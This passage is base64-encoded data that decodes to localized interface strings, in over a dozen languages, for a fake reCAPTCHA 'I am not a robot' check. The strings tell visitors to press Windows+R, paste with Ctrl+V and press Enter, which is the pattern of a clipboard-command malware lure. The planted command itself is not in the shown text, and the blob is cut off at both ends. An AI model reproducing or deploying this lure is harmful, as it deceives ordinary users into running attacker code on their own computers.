YnNlcnZlOiJZb3Ugd2lsbCBvYnNlcnZlIGFuZCBhZ3JlZToiLGNvbmZpcm1MZWFkOiJJIGFtIG5vdCBhIHJvYm90IC0gcmVDQVBUQ0hBIFZlcmlmaWNhdGlvbiBJRDogIixmaW5hbDoiUGVyZm9ybSB0aGUgc3RlcHMgYWJvdmUgdG8gZmluaXNoIHZlcmlmaWNhdGlvbi4iLHZlcmlmeUJ0bjoiVmVyaWZ5Iixjb25maWRlbnRpYWxpdHk6IkNvbmZpZGVudGlhbGl0eSIsdGVybXM6IlRlcm1zIGFuZCBDb25kaXRpb25zIixmb290ZXI6Im5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLiJ9LAoKICAgIGRlOntjaGVja2luZzoiw5xiZXJwcsO8ZnVuZywgb2IgU2llIGVpbiBNZW5zY2ggc2luZC4gRGllcyBrYW5uIGVpbmlnZSBTZWt1bmRlbiBkYXVlcm4uIix2ZXJpZnlJbnN0cnVjdGlvbjoiQmVzdMOkdGlnZW4gU2llLCBkYXNzIFNpZSBlaW4gTWVuc2NoIHNpbmQsIGluZGVtIFNpZSBkaWUgZm9sZ2VuZGUgQWt0aW9uIGF1c2bDvGhyZW4uIix2ZXJpZnlpbmc6IldpcmQgw7xiZXJwcsO8ZnQuLi4iLG5vdFJvYm90OiJJY2ggYmluIGtlaW4gUm9ib3RlciIsc3RlcHM6IsOcYmVycHLDvGZ1bmciLHN1Y2Nlc3M6IkVyZm9sZ3JlaWNoLiIsdmVyaWZ5VGl0bGU6IlVtIG5hY2h3ZWlzZW4genUga8O2bm5lbiwgZGFzcyBTaWUga2VpbiBSb2JvdGVyIHNpbmQ6IixzdGVwMToiSGFsdGVuIFNpZSBkaWUgV2luZG93cy1UYXN0ZSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPiBnZWRyw7xja3QuIixzdGVwMjoiRHLDvGNrZW4gU2llIGltIFZlcmlmaXppZXJ1bmdzZmVuc3RlciA8Yj5TdHJnPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IkRyw7xja2VuIFNpZSBkaWUgPGI+RWluZ2FiZXRhc3RlPC9iPiwgdW0gYWJ6dXNjaGxpZcOfZW4uIixvYnNlcnZlOiJXZW5uIFNpZSBmb3J0ZmFocmVuLCBiZXN0w6R0aWdlbiBTaWU6Iixjb25maXJtTGVhZDoiSWNoIGJpbiBrZWluIFJvYm90ZXIg4oCTIHJlQ0FQVENIQSBWZXJpZml6aWVydW5ncy1JRDogIixmaW5hbDoiRsO8aHJlbiBTaWUgZGllIG9iaWdlbiBTY2hyaXR0ZSBhdXMsIHVtIGRpZSDDnGJlcnByw7xmdW5nIGFienVzY2hsaWXDn2VuLiIsdmVyaWZ5QnRuOiLDnGJlcnByw7xmZW4iLGNvbmZpZGVudGlhbGl0eToiVmVydHJhdWxpY2hrZWl0Iix0ZXJtczoiTnV0enVuZ3NiZWRpbmd1bmdlbiIsZm9vdGVyOiJtdXNzIGRpZSBTaWNoZXJoZWl0IElocmVyIFZlcmJpbmR1bmcgcHLDvGZlbiwgYmV2b3IgU2llIGZvcnRmYWhyZW4uIn0sCgogICAgZnI6e2NoZWNraW5nOiJWw6lyaWZpY2F0aW9uIHF1ZSB2b3VzIMOqdGVzIGh1bWFpbi4gQ2VsYSBwZXV0IHByZW5kcmUgcXVlbHF1ZXMgc2Vjb25kZXMuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVsOpcmlmaWV6IHF1ZSB2b3VzIMOqdGVzIGh1bWFpbiBlbiBjb21wbMOpdGFudCBs4oCZYWN0aW9uIGNpLWRlc3NvdXMuIix2ZXJpZnlpbmc6IlbDqXJpZmljYXRpb27igKYiLG5vdFJvYm90OiJKZSBuZSBzdWlzIHBhcyB1biByb2JvdCIsc3RlcHM6IlbDqXJpZmljYXRpb24iLHN1Y2Nlc3M6IlLDqXVzc2kuIix2ZXJpZnlUaXRsZToiUG91ciBwcm91dmVyIHF1ZSB2b3VzIG7igJnDqnRlcyBwYXMgdW4gcm9ib3QgOiIsc3RlcDE6Ik1haW50ZW5leiBsYSB0b3VjaGUgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJEYW5zIGxhIGZlbsOqdHJlIGRlIHbDqXJpZmljYXRpb24sIGFwcHV5ZXogc3VyIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiQXBwdXlleiBzdXIgbGEgdG91Y2hlIDxiPkVudHLDqWU8L2I+IHBvdXIgdGVybWluZXIuIixvYnNlcnZlOiJFbiBjb250aW51YW50LCB2b3VzIGNvbmZpcm1leiA6Iixjb25maXJtTGVhZDoiSmUgbmUgc3VpcyBwYXMgdW4gcm9ib3Qg4oCTIElEIGRlIHbDqXJpZmljYXRpb24gcmVDQVBUQ0hBIDogIixmaW5hbDoiRWZmZWN0dWV6IGxlcyDDqXRhcGVzIGNpLWRlc3N1cyBwb3VyIHRlcm1pbmVyIGxhIHbDqXJpZmljYXRpb24uIix2ZXJpZnlCdG46IlbDqXJpZmllciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbnRpYWxpdMOpIix0ZXJtczoiQ29uZGl0aW9ucyBnw6luw6lyYWxlcyIsZm9vdGVyOiJkb2l0IHbDqXJpZmllciBsYSBzw6ljdXJpdMOpIGRlIHZvdHJlIGNvbm5leGlvbiBhdmFudCBkZSBjb250aW51ZXIuIn0sCgogICAgaXQ6e2NoZWNraW5nOiJWZXJpZmljYSBjaGUgdHUgc2lhIHVtYW5vLiBQb3RyZWJiZSB2b2xlcmNpIHF1YWxjaGUgc2Vjb25kby4iLHZlcmlmeUluc3RydWN0aW9uOiJWZXJpZmljYSBkaSBlc3NlcmUgdW1hbm8gY29tcGxldGFuZG8gbCdhemlvbmUgc2VndWVudGUuIix2ZXJpZnlpbmc6IlZlcmlmaWNhIGluIGNvcnNv4oCmIixub3RSb2JvdDoiTm9uIHNvbm8gdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYSIsc3VjY2VzczoiQ29tcGxldGF0by4iLHZlcmlmeVRpdGxlOiJQZXIgZGltb3N0cmFyZSBjaGUgbm9uIHNlaSB1biByb2JvdDoiLHN0ZXAxOiJUaWVuaSBwcmVtdXRvIGlsIHRhc3RvIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmVsbGEgZmluZXN0cmEgZGkgdmVyaWZpY2EgcHJlbWkgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVtaSA8Yj5JbnZpbzwvYj4gcGVyIGNvbXBsZXRhcmUuIixvYnNlcnZlOiJQcm9zZWd1ZW5kbywgY29uZmVybWk6Iixjb25maXJtTGVhZDoiTm9uIHNvbm8gdW4gcm9ib3Qg4oCTIElEIGRpIHZlcmlmaWNhIHJlQ0FQVENIQTogIixmaW5hbDoiRXNlZ3VpIGkgcGFzc2FnZ2kgc29wcmEgcGVyIHRlcm1pbmFyZSBsYSB2ZXJpZmljYS4iLHZlcmlmeUJ0bjoiVmVyaWZpY2EiLGNvbmZpZGVudGlhbGl0eToiUmlzZXJ2YXRlenphIix0ZXJtczoiVGVybWluaSBlIGNvbmRpemlvbmkiLGZvb3RlcjoiZGV2ZSB2ZXJpZmljYXJlIGxhIHNpY3VyZXp6YSBkZWxsYSBjb25uZXNzaW9uZSBwcmltYSBkaSBwcm9jZWRlcmUuIn0sCgogICAgYXI6e2NoZWNraW5nOiLYrNin2LHZiiDYp9mE2KrYrdmC2YIg2YXZhiDYo9mG2YMg2KXZhtiz2KfZhi4g2YLYryDZitiz2KrYutix2YIg2YfYsNinINio2LbYuSDYq9mI2KfZhtmNLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246Itiq2K3ZgtmCINmF2YYg2KPZhtmDINil2YbYs9in2YYg2KjYpdmD2YXYp9mEINin2YTYrti32YjYqSDYo9iv2YbYp9mHLiIsdmVyaWZ5aW5nOiLYrNin2LHZjSDYp9mE2KrYrdmC2YLigKYiLG5vdFJvYm90OiLZhNiz2Kog2KjYsdmG2KfZhdisINix2YjYqNmI2KoiLHN0ZXBzOiLYp9mE2KrYrdmC2YIiLHN1Y2Nlc3M6Itiq2YUg2KjZhtis2KfYrS4iLHZlcmlmeVRpdGxlOiLZhNil2KvYqNin2Kog2KPZhtmDINmE2LPYqiDYsdmI2KjZiNiq2YvYpzoiLHN0ZXAxOiLYp9i22LrYtyDZhdi5INin2YTYp9iz2KrZhdix2KfYsSDYudmE2Ykg2YXZgdiq2KfYrSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItmB2Yog2YbYp9mB2LDYqSDYp9mE2KrYrdmC2YIg2KfYtti62LcgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLYp9i22LrYtyA8Yj5FbnRlcjwvYj4g2YTZhNil2YbZh9in2KEuIixvYnNlcnZlOiLYqNin2YTZhdiq2KfYqNi52KnYjCDZgdil2YbZgyDYqtik2YPYrzoiLGNvbmZpcm1MZWFkOiLYo9mG2Kcg2YTYs9iqINix2YjYqNmI2KrZi9inIOKAkyDZhdi52LHZkdmBINiq2K3ZgtmCIHJlQ0FQVENIQTogIixmaW5hbDoi2KPZg9mF2YQg2KfZhNiu2LfZiNin2Kog2KPYudmE2KfZhyDZhNil2YbZh9in2KEg2KfZhNiq2K3ZgtmCLiIsdmVyaWZ5QnRuOiLYqtit2YLZgiIsY29uZmlkZW50aWFsaXR5OiLYp9mE2LPYsdmK2KkiLHRlcm1zOiLYp9mE2LTYsdmI2Lcg2YjYp9mE2KPYrdmD2KfZhSIsZm9vdGVyOiLZitis2Kgg2YXYsdin2KzYudipINij2YXYp9mGINin2YTYp9iq2LXYp9mEINmC2KjZhCDYp9mE2YXYqtin2KjYudipLiJ9LAoKICAgIHpoOntjaGVja2luZzoi5q2j5Zyo5qOA5p+l5oKo5piv5ZCm5Li65Lq657G744CC6L+Z5Y+v6IO96ZyA6KaB5Yeg56eS6ZKf44CCIix2ZXJpZnlJbnN0cnVjdGlvbjoi6YCa6L+H5a6M5oiQ5Lul5LiL5pON5L2c6aqM6K+B5oKo5piv5Lq657G744CCIix2ZXJpZnlpbmc6Iuato+WcqOmqjOivgeKApiIsbm90Um9ib3Q6IuaIkeS4jeaYr+acuuWZqOS6uiIsc3RlcHM6IumqjOivgSIsc3VjY2Vzczoi5oiQ5Yqf44CCIix2ZXJpZnlUaXRsZToi5Li66K+B5piO5oKo5LiN5piv5py65Zmo5Lq677yaIixzdGVwMToi5oyJ5L2PIFdpbmRvd3Mg6ZSuIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+44CCIixzdGVwMjoi5Zyo6aqM6K+B56qX5Y+j5Lit5oyJIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj7jgIIiLHN0ZXAzOiLmjIkgPGI+RW50ZXI8L2I+IOWujOaIkOOAgiIsb2JzZXJ2ZToi57un57ut5pON5L2c5Y2z6KGo56S65oKo56Gu6K6k77yaIixjb25maXJtTGVhZDoi5oiR5LiN5piv5py65Zmo5Lq6IOKAlCByZUNBUFRDSEEg6aqM6K+BIElE77yaIixmaW5hbDoi6K+35a6M5oiQ5Lul5LiK5q2l6aqk5Lul5a6M5oiQ6aqM6K+B44CCIix2ZXJpZnlCdG46IumqjOivgSIsY29uZmlkZW50aWFsaXR5OiLkv53lr4YiLHRlcm1zOiLmnaHmrL7lkozmnaHku7YiLGZvb3Rlcjoi6ZyA6KaB5Zyo57un57ut5LmL5YmN5qOA5p+l5oKo6L+e5o6l55qE5a6J5YWo5oCn44CCIn0sCgogICAgamE6e2NoZWNraW5nOiLjgYLjgarjgZ/jgYzkurrplpPjgYvjganjgYbjgYvnorroqo3jgZfjgabjgYTjgb7jgZnjgILmlbDnp5LjgYvjgYvjgovloLTlkIjjgYzjgYLjgorjgb7jgZnjgIIiLHZlcmlmeUluc3RydWN0aW9uOiLku6XkuIvjga7mk43kvZzjgpLlrozkuobjgZfjgabjgIHkurrplpPjgafjgYLjgovjgZPjgajjgpLnorroqo3jgZfjgabjgY/jgaDjgZXjgYTjgIIiLHZlcmlmeWluZzoi56K66KqN5Lit4oCmIixub3RSb2JvdDoi56eB44Gv44Ot44Oc44OD44OI44Gn44Gv44GC44KK44G+44Gb44KTIixzdGVwczoi56K66KqNIixzdWNjZXNzOiLmiJDlip/jgZfjgb7jgZfjgZ/jgIIiLHZlcmlmeVRpdGxlOiLjg63jg5zjg4Pjg4jjgafjga/jgarjgYTjgZPjgajjgpLoqLzmmI7jgZnjgovjgZ/jgoHjgavvvJoiLHN0ZXAxOiJXaW5kb3dz44Kt44O8IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IOOCkuaKvOOBl+e2muOBkeOBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDI6IuaknOiovOOCpuOCo+ODs+ODieOCpuOBpyA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IOOCkuaKvOOBl+OBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDM6IjxiPkVudGVyPC9iPiDjgpLmirzjgZfjgablrozkuobjgZfjgb7jgZnjgIIiLG9ic2VydmU6Iue2muihjOOBmeOCi+OBqOOAgeasoeOCkueiuuiqjeOBl+OBvuOBme+8miIsY29uZmlybUxlYWQ6IuengeOBr+ODreODnOODg+ODiOOBp+OBr+OBguOCiuOBvuOBm+OCkyDigJQgcmVDQVBUQ0hBIOaknOiovCBJRDogIixmaW5hbDoi5LiK6KiY44Gu5omL6aCG44KS5a6f6KGM44GX44Gm5qSc6Ki844KS5a6M5LqG44GX44Gm44GP44Gg44GV44GE44CCIix2ZXJpZnlCdG46IueiuuiqjeOBmeOCiyIsY29uZmlkZW50aWFsaXR5OiLmqZ/lr4bkv53mjIEiLHRlcm1zOiLliKnnlKjopo/ntIQiLGZvb3Rlcjoi57aa6KGM44GZ44KL5YmN44Gr5o6l57aa44Gu44K744Kt44Ol44Oq44OG44Kj44KS56K66KqN44GZ44KL5b+F6KaB44GM44GC44KK44G+44GZ44CCIn0sCgogICAgcnU6e2NoZWNraW5nOiLQn9GA0L7QstC10YDRj9C10LwsINGH0YLQviDQstGLINGH0LXQu9C+0LLQtdC6LiDQrdGC0L4g0LzQvtC20LXRgiDQt9Cw0L3Rj9GC0Ywg0L3QtdGB0LrQvtC70YzQutC+INGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9C+0LTRgtCy0LXRgNC00LjRgtC1LCDRh9GC0L4g0LLRiyDRh9C10LvQvtCy0LXQuiwg0LLRi9C/0L7Qu9C90LjQsiDQtNC10LnRgdGC0LLQuNC1INC90LjQttC1LiIsdmVyaWZ5aW5nOiLQn9GA0L7QstC10YDQutCw4oCmIixub3RSb2JvdDoi0K8g0L3QtSDRgNC+0LHQvtGCIixzdGVwczoi0J/RgNC+0LLQtdGA0LrQsCIsc3VjY2Vzczoi0KPRgdC/0LXRiNC90L4uIix2ZXJpZnlUaXRsZToi0KfRgtC+0LHRiyDQtNC+0LrQsNC30LDRgtGMLCDRh9GC0L4g0LLRiyDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPQtNC10YDQttC40LLQsNC50YLQtSDQutC70LDQstC40YjRgyBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItCSINC+0LrQvdC1INC/0YDQvtCy0LXRgNC60Lgg0L3QsNC20LzQuNGC0LUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLQndCw0LbQvNC40YLQtSA8Yj5FbnRlcjwvYj4g0LTQu9GPINC30LDQstC10YDRiNC10L3QuNGPLiIsb2JzZXJ2ZToi0J/RgNC+0LTQvtC70LbQsNGPLCDQstGLINC/0L7QtNGC0LLQtdGA0LbQtNCw0LXRgtC1OiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQgSUQg0L/RgNC+0LLQtdGA0LrQuCByZUNBUFRDSEE6ICIsZmluYWw6ItCS0YvQv9C+0LvQvdC40YLQtSDRiNCw0LPQuCDQstGL0YjQtSwg0YfRgtC+0LHRiyDQt9Cw0LLQtdGA0YjQuNGC0Ywg0L/RgNC+0LLQtdGA0LrRgy4iLHZlcmlmeUJ0bjoi0J/RgNC+0LLQtdGA0LjRgtGMIixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0LjQtNC10L3RhtC40LDQu9GM0L3QvtGB0YLRjCIsdGVybXM6ItCj0YHQu9C+0LLQuNGPINC40YHQv9C+0LvRjNC30L7QstCw0L3QuNGPIixmb290ZXI6ItC00L7Qu9C20LXQvSDQv9GA0L7QstC10YDQuNGC0Ywg0LHQtdC30L7Qv9Cw0YHQvdC+0YHRgtGMINCy0LDRiNC10LPQviDRgdC+0LXQtNC40L3QtdC90LjRjyDQv9C10YDQtdC0INC/0YDQvtC00L7Qu9C20LXQvdC40LXQvC4ifSwKCiAgICBlczp7Y2hlY2tpbmc6IkNvbXByb2JhbmRvIHNpIGVyZXMgaHVtYW5vLiBFc3RvIHB1ZWRlIHRhcmRhciB1bm9zIHNlZ3VuZG9zLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmaWNhIHF1ZSBlcmVzIGh1bWFubyBjb21wbGV0YW5kbyBsYSBhY2Npw7NuIHNpZ3VpZW50ZS4iLHZlcmlmeWluZzoiVmVyaWZpY2FuZG/igKYiLG5vdFJvYm90OiJObyBzb3kgdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYWNpw7NuIixzdWNjZXNzOiJDb3JyZWN0by4iLHZlcmlmeVRpdGxlOiJQYXJhIGRlbW9zdHJhciBxdWUgbm8gZXJlcyB1biByb2JvdDoiLHN0ZXAxOiJNYW50w6luIHB1bHNhZGEgbGEgdGVjbGEgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJFbiBsYSB2ZW50YW5hIGRlIHZlcmlmaWNhY2nDs24sIHB1bHNhIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHVsc2EgPGI+RW50ZXI8L2I+IHBhcmEgZmluYWxpemFyLiIsb2JzZXJ2ZToiQWwgY29udGludWFyLCBjb25maXJtYXM6Iixjb25maXJtTGVhZDoiTm8gc295IHVuIHJvYm90IOKAlCBJRCBkZSB2ZXJpZmljYWNpw7NuIHJlQ0FQVENIQTogIixmaW5hbDoiUmVhbGl6YSBsb3MgcGFzb3MgYW50ZXJpb3JlcyBwYXJhIGZpbmFsaXphciBsYSB2ZXJpZmljYWNpw7NuLiIsdmVyaWZ5QnRuOiJWZXJpZmljYXIiLGNvbmZpZGVudGlhbGl0eToiQ29uZmlkZW5jaWFsaWRhZCIsdGVybXM6IlTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzIixmb290ZXI6ImRlYmUgcmV2aXNhciBsYSBzZWd1cmlkYWQgZGUgdHUgY29uZXhpw7NuIGFudGVzIGRlIGNvbnRpbnVhci4ifSwKCiAgICBwdDp7Y2hlY2tpbmc6IlZlcmlmaWNhbmRvIHNlIHZvY8OqIMOpIGh1bWFuby4gSXNzbyBwb2RlIGxldmFyIGFsZ3VucyBzZWd1bmRvcy4iLHZlcmlmeUluc3RydWN0aW9uOiJDb25maXJtZSBxdWUgdm9jw6ogw6kgaHVtYW5vIGNvbmNsdWluZG8gYSBhw6fDo28gYWJhaXhvLiIsdmVyaWZ5aW5nOiJWZXJpZmljYW5kb+KApiIsbm90Um9ib3Q6Ik7Do28gc291IHVtIHJvYsO0IixzdGVwczoiVmVyaWZpY2HDp8OjbyIsc3VjY2VzczoiQ29uY2x1w61kby4iLHZlcmlmeVRpdGxlOiJQYXJhIHByb3ZhciBxdWUgdm9jw6ogbsOjbyDDqSB1bSByb2LDtDoiLHN0ZXAxOiJNYW50ZW5oYSBwcmVzc2lvbmFkYSBhIHRlY2xhIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmEgamFuZWxhIGRlIHZlcmlmaWNhw6fDo28sIHByZXNzaW9uZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlByZXNzaW9uZSA8Yj5FbnRlcjwvYj4gcGFyYSBjb25jbHVpci4iLG9ic2VydmU6IkFvIGNvbnRpbnVhciwgdm9jw6ogY29uZmlybWE6Iixjb25maXJtTGVhZDoiTsOjbyBzb3UgdW0gcm9iw7Qg4oCUIElEIGRlIHZlcmlmaWNhw6fDo28gcmVDQVBUQ0hBOiAiLGZpbmFsOiJDb25jbHVhIGFzIGV0YXBhcyBhY2ltYSBwYXJhIGZpbmFsaXphciBhIHZlcmlmaWNhw6fDo28uIix2ZXJpZnlCdG46IlZlcmlmaWNhciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbmNpYWxpZGFkZSIsdGVybXM6IlRlcm1vcyBlIGNvbmRpw6fDtWVzIixmb290ZXI6InByZWNpc2EgcmV2aXNhciBhIHNlZ3VyYW7Dp2EgZGEgc3VhIGNvbmV4w6NvIGFudGVzIGRlIHByb3NzZWd1aXIuIn0sCgogICAgbmw6e2NoZWNraW5nOiJDb250cm9sZXJlbiBvZiB1IGVlbiBtZW5zIGJlbnQuIERpdCBrYW4gZW5rZWxlIHNlY29uZGVuIGR1cmVuLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkJldmVzdGlnIGRhdCB1IGVlbiBtZW5zIGJlbnQgZG9vciBkZSBvbmRlcnN0YWFuZGUgYWN0aWUgdWl0IHRlIHZvZXJlbi4iLHZlcmlmeWluZzoiQmV6aWcgbWV0IGNvbnRyb2xlcmVu4oCmIixub3RSb2JvdDoiSWsgYmVuIGdlZW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYXRpZSIsc3VjY2VzczoiR2VsdWt0LiIsdmVyaWZ5VGl0bGU6Ik9tIGFhbiB0ZSB0b25lbiBkYXQgdSBnZWVuIHJvYm90IGJlbnQ6IixzdGVwMToiSG91ZCBkZSBXaW5kb3dzLXRvZXRzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGluZ2VkcnVrdC4iLHN0ZXAyOiJEcnVrIGluIGhldCB2ZXJpZmljYXRpZXZlbnN0ZXIgb3AgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJEcnVrIG9wIDxiPkVudGVyPC9iPiBvbSBhZiB0ZSByb25kZW4uIixvYnNlcnZlOiJBbHMgdSBkb29yZ2FhdCwgYmV2ZXN0aWd0IHU6Iixjb25maXJtTGVhZDoiSWsgYmVuIGdlZW4gcm9ib3Qg4oCUIHJlQ0FQVENIQS12ZXJpZmljYXRpZS1JRDogIixmaW5hbDoiVm9lciBkZSBib3ZlbnN0YWFuZGUgc3RhcHBlbiB1aXQgb20gZGUgdmVyaWZpY2F0aWUgdGUgdm9sdG9vaWVuLiIsdmVyaWZ5QnRuOiJWZXJpZmnDq3JlbiIsY29uZmlkZW50aWFsaXR5OiJWZXJ0cm91d2VsaWpraGVpZCIsdGVybXM6IlZvb3J3YWFyZGVuIixmb290ZXI6Im1vZXQgZGUgdmVpbGlnaGVpZCB2YW4gdXcgdmVyYmluZGluZyBjb250cm9sZXJlbiB2b29yZGF0IHUgdmVyZGVyZ2FhdC4ifSwKCiAgICB0cjp7Y2hlY2tpbmc6IsSwbnNhbiBvbHVwIG9sbWFkxLHEn8SxbsSxeiBrb250cm9sIGVkaWxpeW9yLiBCdSBiaXJrYcOnIHNhbml5ZSBzw7xyZWJpbGlyLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkHFn2HEn8SxZGFraSBpxZ9sZW1pIHRhbWFtbGF5YXJhayBpbnNhbiBvbGR1xJ91bnV6dSBkb8SfcnVsYXnEsW4uIix2ZXJpZnlpbmc6IkRvxJ9ydWxhbsSxeW9y4oCmIixub3RSb2JvdDoiQmVuIHJvYm90IGRlxJ9pbGltIixzdGVwczoiRG/En3J1bGFtYSIsc3VjY2VzczoiQmHFn2FyxLFsxLEuIix2ZXJpZnlUaXRsZToiUm9ib3Qgb2xtYWTEscSfxLFuxLF6xLEga2FuxLF0bGFtYWsgacOnaW46IixzdGVwMToiV2luZG93cyB0dcWfdW51IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGlsZSBiYXPEsWzEsSB0dXR1bi4iLHN0ZXAyOiJEb8SfcnVsYW1hIHBlbmNlcmVzaW5kZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IHR1xZ9sYXLEsW5hIGJhc8Sxbi4iLHN0ZXAzOiJCaXRpcm1layBpw6dpbiA8Yj5FbnRlcjwvYj7igJlhIGJhc8Sxbi4iLG9ic2VydmU6IkRldmFtIGVkZXJlayDFn3VubGFyxLEgb25heWxhcnPEsW7EsXo6Iixjb25maXJtTGVhZDoiUm9ib3QgZGXEn2lsaW0g4oCUIHJlQ0FQVENIQSBEb8SfcnVsYW1hIEtpbWxpxJ9pOiAiLGZpbmFsOiJEb8SfcnVsYW1hecSxIHRhbWFtbGFtYWsgacOnaW4geXVrYXLEsWRha2kgYWTEsW1sYXLEsSB1eWd1bGF5xLFuLiIsdmVyaWZ5QnRuOiJEb8SfcnVsYSIsY29uZmlkZW50aWFsaXR5OiJHaXpsaWxpayIsdGVybXM6IsWeYXJ0bGFyIHZlIEtvxZ91bGxhciIsZm9vdGVyOiJkZXZhbSBldG1lZGVuIMO2bmNlIGJhxJ9sYW50xLFuxLF6xLFuIGfDvHZlbmxpxJ9pbmkga29udHJvbCBldG1lbGlkaXIuIn0sCgogICAga286e2NoZWNraW5nOiLsgqzsmqnsnpDqsIAg7IKs656M7J247KeAIO2ZleyduO2VmOuKlCDspJHsnoXri4jri6QuIOyeoOyLnOunjCDquLDri6TroKQg7KO87IS47JqULiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuyVhOuemCDsnpHsl4XsnYQg7JmE66OM7ZWY7JesIOyCrOuejOydtCDrp57ripTsp4Ag7ZmV7J247ZWY7IS47JqULiIsdmVyaWZ5aW5nOiLtmZXsnbgg7KSR4oCmIixub3RSb2JvdDoi64KY64qUIOuhnOu0h+ydtCDslYTri5nri4jri6QiLHN0ZXBzOiLqsoDspp0iLHN1Y2Nlc3M6IuyEseqztS4iLHZlcmlmeVRpdGxlOiLroZzrtIfsnbQg7JWE64uY7J2EIOymneuqhe2VmOugpOuptDoiLHN0ZXAxOiJXaW5kb3dzIO2CpCA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPuydhCDriITrpbTshLjsmpQuIixzdGVwMjoi6rKA7KadIOywveyXkOyEnCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+66W8IOuIhOultOyEuOyalC4iLHN0ZXAzOiLrp4jsuZjroKTrqbQgPGI+RW50ZXI8L2I+66W8IOuIhOultOyEuOyalC4iLG9ic2VydmU6IuqzhOyGje2VmOuptCDri6TsnYzsnYQg7ZmV7J247ZWp64uI64ukOiIsY29uZmlybUxlYWQ6IuuhnOu0h+ydtCDslYTri5nri4jri6Qg4oCUIHJlQ0FQVENIQSDtmZXsnbggSUQ6ICIsZmluYWw6IuychCDri6jqs4Trk6TsnYQg7JmE66OM7ZWY7JesIOqygOymneydhCDrp4jsuZjshLjsmpQuIix2ZXJpZnlCdG46Iu2ZleyduCIsY29uZmlkZW50aWFsaXR5OiLquLDrsIAiLHRlcm1zOiLsnbTsmqnslb3qtIAiLGZvb3Rlcjoi6rOE7IaN7ZWY6riwIOyghOyXkCDsl7DqsrDsnZgg67O07JWI7J2EIO2ZleyduO2VtOyVvCDtlanri4jri6QuIn0sCgoKCiAgICBoaTp7Y2hlY2tpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpL/gpK/gpL4g4KSc4KS+IOCksOCkueCkviDgpLngpYgg4KSV4KS/IOCkhuCkqiDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIOCkh+CkuOCkruClh+CkgiDgpJXgpYHgpJsg4KS44KWH4KSV4KSC4KShIOCksuCklyDgpLjgpJXgpKTgpYcg4KS54KWI4KSC4KWkIix2ZXJpZnlJbnN0cnVjdGlvbjoi4KSo4KWA4KSa4KWHIOCkpuCkv+Ckr+CkviDgpJfgpK/gpL4g4KSV4KS+4KSw4KWN4KSvIOCkquClguCksOCkviDgpJXgpLDgpJXgpYcg4KSq4KWN4KSw4KSu4KS+4KSj4KS/4KSkIOCkleCksOClh+CkgiDgpJXgpL8g4KSG4KSqIOCkj+CklSDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIix2ZXJpZnlpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLAg4KSw4KS54KWHIOCkueCliOCkgi4uLiIsbm90Um9ib3Q6IuCkruCliOCkgiDgpI/gpJUg4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYLgpIEiLHN0ZXBzOiLgpLjgpK